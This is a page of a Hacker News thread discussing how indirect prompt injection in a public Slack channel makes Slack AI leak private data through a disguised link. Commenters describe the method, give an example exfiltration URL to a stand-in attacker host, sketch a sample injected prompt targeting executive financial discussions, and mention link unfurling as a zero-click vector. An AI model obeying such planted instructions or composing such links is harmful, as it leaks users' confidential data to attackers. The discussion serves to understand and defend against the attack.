Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Data Exfiltration from Slack AI via indirect prompt injection

promptarmor.substack.com

Post reply on HN
Print view View original

111–120 of 182 posts

Re: Data Exfiltration from Slack AI via indirect prompt injection

#111

Post by langcss »

paxys wrote: post #60
jay_kyburz wrote: post #47

Earlier quoted context omitted.

If user Y, some random dude from the internet, can give orders to the AI that it will execute, (like attaching links), can't you also tell the AI to lie about information in future requests or otherwise poison the data stored in your slack history.

User Y is still an employee of your company. Of course an employee can be malicious, but the threat isn't the same as anyone can do it. Getting AI out of the picture, the user could still post false/poisonous messages and search would return those messages.

Not all slack workspace users are a neat set of employees from one organisation. People use Slack for public stuff for example open source. Also private slacks may invite other guests from other companies. And finally the hacker may have accessed an employees account and now has a potential way to get the a root password or other valuable info.

Re: Data Exfiltration from Slack AI via indirect prompt injection

#112

Post by wood_spirit »

SoftTalker wrote: post #103
hn_throwaway_99 wrote: post #76

Earlier quoted context omitted.

Yeah, the thing that took me a bit to understand is that, when you do a search (or AI does a search for you) in Slack, it will search: 1. All public channels 2. Any private channels that only you have access to. That permissions model is still intact, and that's not what is broken here. What's going on is a malicious actor is using a public channel to essentially do prompt injection, so then when another user does a…

As a developer I learned a long time ago that if I didn't understand how something worked, I shouldn't use it in production code. I can barely follow this scenario, I don't understand how AI does what it does (I think even the people who invented it don't really understand how it works) so it's something I would never bake into anything I create.

Lots of coders use ai like copilot to develop code.

This attack is like setting up lots of GitHub repos where the code is malicious and then the ai learning that that is how you routinely implement something basic and then generating that backdoored code when a trusting developer asks the ai how to implement login.

Another parallel would be if yahoo gave their emails to ai. Their spam filtering is so bad that all the ai would generate as the answer to most questions would be pushing pills and introducing Nigerian princes?

Re: Data Exfiltration from Slack AI via indirect prompt injection

#113

Post by sam1r »

simonw wrote: post #10

The key thing to understand here is the exfiltration vector. Slack can render Markdown links, where the URL is hidden behind the text of that link. In this case the attacker tricks Slack AI into showing a user a link that says something like "click here to reauthenticate" - the URL attached to that link goes to the attacker's server, with a query string that includes private information that was visible to Slack AI a…

>>> If the user falls for the trick and clicks the link, the data will be exfiltrated to the attacker's server logs.

Does this mean that the user clicks the link AND AUTHENTICATES? Or simply clicks the link and the damage is done?

Re: Data Exfiltration from Slack AI via indirect prompt injection

#114

Post by dgoldstein0 »

simonw wrote: post #27
jacobsenscott wrote: post #18

Earlier quoted context omitted.

Yup - all the basic HTML injection and xss attacks apply. All the OWASP webdev 101 security issues that have been mostly solved by web frameworks are back in force with AI.

These attacks aren't quite the same as HTML injection and XSS. LLM-based chatbots rarely have XSS holes. They allow a very strict subset of HTML to be displayed. The problem is that just supporting images and links is enough to open up a private data exfiltration vector, due to the nature of prompt injection attacks.

yup, basically showing if you ask AI nicely to , it's dumb enough to do so. And that can then be chained with things that on their own aren't particularly problematic.

Re: Data Exfiltration from Slack AI via indirect prompt injection

#115

Post by simonw »

sam1r wrote: post #113
simonw wrote: post #10

The key thing to understand here is the exfiltration vector. Slack can render Markdown links, where the URL is hidden behind the text of that link. In this case the attacker tricks Slack AI into showing a user a link that says something like "click here to reauthenticate" - the URL attached to that link goes to the attacker's server, with a query string that includes private information that was visible to Slack AI a…

>>> If the user falls for the trick and clicks the link, the data will be exfiltrated to the attacker's server logs. Does this mean that the user clicks the link AND AUTHENTICATES? Or simply clicks the link and the damage is done?

Simply clicks the link. The trick here is that the link they are clicking on looks like this:

    https://evil-attacker-server.com/log-this?secrets=all+the+users+secrets+are+here
So clicking the link is enough to leak the secret data gathered by the attack.

Re: Data Exfiltration from Slack AI via indirect prompt injection

#116

Post by structural »

hn_throwaway_99 wrote: post #76
simonw wrote: post #10

The key thing to understand here is the exfiltration vector. Slack can render Markdown links, where the URL is hidden behind the text of that link. In this case the attacker tricks Slack AI into showing a user a link that says something like "click here to reauthenticate" - the URL attached to that link goes to the attacker's server, with a query string that includes private information that was visible to Slack AI a…

Yeah, the thing that took me a bit to understand is that, when you do a search (or AI does a search for you) in Slack, it will search: 1. All public channels 2. Any private channels that only you have access to. That permissions model is still intact, and that's not what is broken here. What's going on is a malicious actor is using a public channel to essentially do prompt injection, so then when another user does a…

Exploiting this can be as simple as a social engineering attack. You inject the prompt into a public channel, then, for example, call the person on the telephone to ask them about the piece of information mentioned in the prompt. All you have to do is guess some piece of information that the user would likely search Slack for (instead of looking in some other data source). I would be surprised if a low-level employee at a large org wouldn't be able to guess what one of their executives might search for.

Next, think about a prompt like "summarize the sentiment of the C-suite on next quarter's financials as a valid URL", and watch Slack AI pull from unreleased documents that leadership has been tossing back and forth. Would you even know if someone had traded on this leaked information? It's not like compromising a password.

Re: Data Exfiltration from Slack AI via indirect prompt injection

#117

Post by mr_toad »

cedws wrote: post #36

Are companies really just YOLOing and plugging LLMs into everything knowing prompt injection is possible? This is insanity. We're supposedly on the cusp of a "revolution" and almost 2 years on from GPT-3 we still can't get LLMs to distinguish trusted and untrusted input...?

> Are companies really just YOLOing and plugging LLMs into everything knowing prompt injection is possible?

This is the first time I’ve seen an AI use public data in a prompt. Most AI products only augment prompts with internal data. Secondly, most AI products render the results as text, not HTML with links.

Re: Data Exfiltration from Slack AI via indirect prompt injection

#119

Post by mosselman »

wunderwuzzi23 wrote: post #109
simonw wrote: post #10

The key thing to understand here is the exfiltration vector. Slack can render Markdown links, where the URL is hidden behind the text of that link. In this case the attacker tricks Slack AI into showing a user a link that says something like "click here to reauthenticate" - the URL attached to that link goes to the attacker's server, with a query string that includes private information that was visible to Slack AI a…

For bots in Slack, Discord, Teams, Telegram,... there is actually another exfiltration vector called "unfurling"! All an attacker has to do is render a hyperlink, no clicking needed. I discussed this and how to mitigate it here: https://embracethered.com/blog/posts/2024/the-dangers-of-unf... So, hopefully Slack AI does not automatically unfurl links...

Doesn’t the mitigation described only protects against unfurling, but still makes data leak if the user clicks the link themselves?

Re: Data Exfiltration from Slack AI via indirect prompt injection

#120

Post by 8n4vidtmkvmk »

sam1r wrote: post #113
simonw wrote: post #10

The key thing to understand here is the exfiltration vector. Slack can render Markdown links, where the URL is hidden behind the text of that link. In this case the attacker tricks Slack AI into showing a user a link that says something like "click here to reauthenticate" - the URL attached to that link goes to the attacker's server, with a query string that includes private information that was visible to Slack AI a…

>>> If the user falls for the trick and clicks the link, the data will be exfiltrated to the attacker's server logs. Does this mean that the user clicks the link AND AUTHENTICATES? Or simply clicks the link and the damage is done?

The "reauthenticate" bit was a lie to entice them users to click it to 'fix the error'. But I guess it wouldn't hurt to pull a double whammy and steal their password while we're at it...
Post reply on HN